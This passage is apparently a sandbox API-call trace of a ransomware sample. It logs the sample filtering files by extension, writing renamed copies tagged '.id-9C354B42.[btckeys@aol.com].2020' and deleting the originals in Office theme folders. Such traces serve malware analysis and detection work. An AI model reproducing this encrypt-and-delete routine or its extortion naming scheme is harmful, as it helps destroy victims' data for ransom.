Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.586] lstrlenW (lpString=".doc") returned 4 [0078.586] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.586] lstrlenW (lpString=".docx") returned 5 [0078.586] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.586] lstrlenW (lpString=".pdf") returned 4 [0078.586] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.586] lstrlenW (lpString=".xls") returned 4 [0078.586] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.586] lstrlenW (lpString=".xlsx") returned 5 [0078.586] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.587] lstrlenW (lpString=".ppt") returned 4 [0078.587] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.587] lstrlenW (lpString=".zip") returned 4 [0078.587] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.587] lstrlenW (lpString=".rar") returned 4 [0078.587] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.587] lstrlenW (lpString=".bz2") returned 4 [0078.587] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.587] lstrlenW (lpString=".7z") returned 3 [0078.587] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.587] lstrlenW (lpString=".dbf") returned 4 [0078.587] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.587] lstrlenW (lpString=".1cd") returned 4 [0078.587] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.587] lstrlenW (lpString=".jpg") returned 4 [0078.587] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.587] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.587] lstrlenW (lpString=".doc") returned 4 [0078.587] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0078.587] lstrlenW (lpString=".docx") returned 5 [0078.587] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0078.587] lstrlenW (lpString=".pdf") returned 4 [0078.587] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0078.587] lstrlenW (lpString=".xls") returned 4 [0078.587] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0078.587] lstrlenW (lpString=".xlsx") returned 5 [0078.587] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0078.587] lstrlenW (lpString=".ppt") returned 4 [0078.587] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0078.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.588] lstrlenW (lpString=".zip") returned 4 [0078.588] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0078.588] lstrlenW (lpString=".rar") returned 4 [0078.588] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0078.588] lstrlenW (lpString=".bz2") returned 4 [0078.588] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0078.588] lstrlenW (lpString=".7z") returned 3 [0078.588] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0078.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.588] lstrlenW (lpString=".dbf") returned 4 [0078.588] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0078.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.588] lstrlenW (lpString=".1cd") returned 4 [0078.588] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0078.588] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\PREVIEW.GIF") returned 76 [0078.588] lstrlenW (lpString=".jpg") returned 4 [0078.588] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0078.588] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0078.588] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.588] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0078.621] GetFileSizeEx (in: hFile=0x200, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=27407) returned 1 [0078.621] CloseHandle (hObject=0x200) returned 1 [0078.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 0x20 [0078.621] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0078.621] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0078.622] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.622] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.622] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0078.622] GetLastError () returned 0x0 [0078.622] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x6b0f, lpOverlapped=0x0) returned 1 [0078.823] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x6b10, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x6b10, lpOverlapped=0x0) returned 1 [0078.826] ReadFile (in: hFile=0x200, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0078.827] WriteFile (in: hFile=0x1d8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0078.827] SetEndOfFile (hFile=0x1d8) returned 1 [0078.827] CloseHandle (hObject=0x1d8) returned 1 [0078.827] SetFilePointerEx (in: hFile=0x200, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0078.827] SetEndOfFile (hFile=0x200) returned 1 [0078.828] CloseHandle (hObject=0x200) returned 1 [0078.829] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0078.829] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\blueprnt\\thmbnail.png")) returned 1 [0078.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.829] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.829] lstrlenW (lpString=".doc") returned 4 [0078.829] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.829] lstrlenW (lpString=".docx") returned 5 [0078.829] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.829] lstrlenW (lpString=".pdf") returned 4 [0078.830] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.830] lstrlenW (lpString=".xls") returned 4 [0078.830] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.830] lstrlenW (lpString=".xlsx") returned 5 [0078.830] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.830] lstrlenW (lpString=".ppt") returned 4 [0078.830] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.830] lstrlenW (lpString=".zip") returned 4 [0078.830] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.830] lstrlenW (lpString=".rar") returned 4 [0078.830] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.830] lstrlenW (lpString=".bz2") returned 4 [0078.830] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.830] lstrlenW (lpString=".7z") returned 3 [0078.830] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.830] lstrlenW (lpString=".dbf") returned 4 [0078.830] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.830] lstrlenW (lpString=".1cd") returned 4 [0078.830] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.830] lstrlenW (lpString=".jpg") returned 4 [0078.830] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.830] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.831] lstrlenW (lpString=".doc") returned 4 [0078.831] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0078.831] lstrlenW (lpString=".docx") returned 5 [0078.831] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0078.831] lstrlenW (lpString=".pdf") returned 4 [0078.831] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0078.831] lstrlenW (lpString=".xls") returned 4 [0078.831] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0078.831] lstrlenW (lpString=".xlsx") returned 5 [0078.831] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0078.831] lstrlenW (lpString=".ppt") returned 4 [0078.831] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0078.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.831] lstrlenW (lpString=".zip") returned 4 [0078.831] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0078.831] lstrlenW (lpString=".rar") returned 4 [0078.831] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0078.831] lstrlenW (lpString=".bz2") returned 4 [0078.831] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0078.831] lstrlenW (lpString=".7z") returned 3 [0078.831] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0078.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.831] lstrlenW (lpString=".dbf") returned 4 [0078.831] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0078.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.831] lstrlenW (lpString=".1cd") returned 4 [0078.831] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0078.831] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BLUEPRNT\\THMBNAIL.PNG") returned 77 [0078.831] lstrlenW (lpString=".jpg") returned 4 [0078.832] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0078.832] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0078.832] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0078.832] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.326] GetFileSizeEx (in: hFile=0x204, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=32607) returned 1 [0079.327] CloseHandle (hObject=0x204) returned 1 [0079.327] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 0x20 [0079.330] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0079.330] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0079.342] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0079.342] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0079.353] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0079.354] GetLastError () returned 0x0 [0079.354] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x7f5f, lpOverlapped=0x0) returned 1 [0079.359] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7f60, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7f60, lpOverlapped=0x0) returned 1 [0079.361] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0079.361] WriteFile (in: hFile=0x204, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0079.361] SetEndOfFile (hFile=0x204) returned 1 [0079.361] CloseHandle (hObject=0x204) returned 1 [0079.362] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0079.362] SetEndOfFile (hFile=0x20c) returned 1 [0079.363] CloseHandle (hObject=0x20c) returned 1 [0079.363] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0079.363] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\thmbnail.png")) returned 1 [0079.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.364] lstrlenW (lpString=".doc") returned 4 [0079.364] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.364] lstrlenW (lpString=".docx") returned 5 [0079.364] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.364] lstrlenW (lpString=".pdf") returned 4 [0079.364] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.364] lstrlenW (lpString=".xls") returned 4 [0079.364] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.364] lstrlenW (lpString=".xlsx") returned 5 [0079.364] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.364] lstrlenW (lpString=".ppt") returned 4 [0079.364] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.364] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.364] lstrlenW (lpString=".zip") returned 4 [0079.364] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.364] lstrlenW (lpString=".rar") returned 4 [0079.365] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.365] lstrlenW (lpString=".bz2") returned 4 [0079.365] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.365] lstrlenW (lpString=".7z") returned 3 [0079.365] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.365] lstrlenW (lpString=".dbf") returned 4 [0079.365] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.365] lstrlenW (lpString=".1cd") returned 4 [0079.365] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.365] lstrlenW (lpString=".jpg") returned 4 [0079.365] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.365] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.365] lstrlenW (lpString=".doc") returned 4 [0079.365] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0079.365] lstrlenW (lpString=".docx") returned 5 [0079.365] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0079.365] lstrlenW (lpString=".pdf") returned 4 [0079.365] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0079.365] lstrlenW (lpString=".xls") returned 4 [0079.366] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0079.366] lstrlenW (lpString=".xlsx") returned 5 [0079.366] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0079.366] lstrlenW (lpString=".ppt") returned 4 [0079.366] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0079.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.366] lstrlenW (lpString=".zip") returned 4 [0079.366] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0079.366] lstrlenW (lpString=".rar") returned 4 [0079.366] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0079.366] lstrlenW (lpString=".bz2") returned 4 [0079.366] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0079.366] lstrlenW (lpString=".7z") returned 3 [0079.366] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0079.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.366] lstrlenW (lpString=".dbf") returned 4 [0079.366] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0079.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.366] lstrlenW (lpString=".1cd") returned 4 [0079.366] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0079.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\THMBNAIL.PNG") returned 75 [0079.366] lstrlenW (lpString=".jpg") returned 4 [0079.366] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0079.367] lstrcmpiW (lpString1=".PNG", lpString2=".2020") returned 1 [0079.367] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0079.367] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.385] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=20575) returned 1 [0080.385] CloseHandle (hObject=0x198) returned 1 [0080.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 0x20 [0080.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020")) returned 0xffffffff [0080.385] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0080.385] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0080.386] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0080.386] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png.id-9c354b42.[btckeys@aol.com].2020"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e8 [0080.386] GetLastError () returned 0x0 [0080.386] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x505f, lpOverlapped=0x0) returned 1 [0080.762] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x5060, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x5060, lpOverlapped=0x0) returned 1 [0080.764] ReadFile (in: hFile=0x198, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0080.764] WriteFile (in: hFile=0x1e8, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0080.764] SetEndOfFile (hFile=0x1e8) returned 1 [0080.764] CloseHandle (hObject=0x1e8) returned 1 [0080.765] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0080.765] SetEndOfFile (hFile=0x198) returned 1 [0080.766] CloseHandle (hObject=0x198) returned 1 [0080.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG.id-9C354B42.[btckeys@aol.com].2020", dwFileAttributes=0x20) returned 1 [0080.767] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\COMPASS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\compass\\thmbnail.png")) returned 1 [0080.767] lstrlenW (lpString="C:\\Program Files\\Common 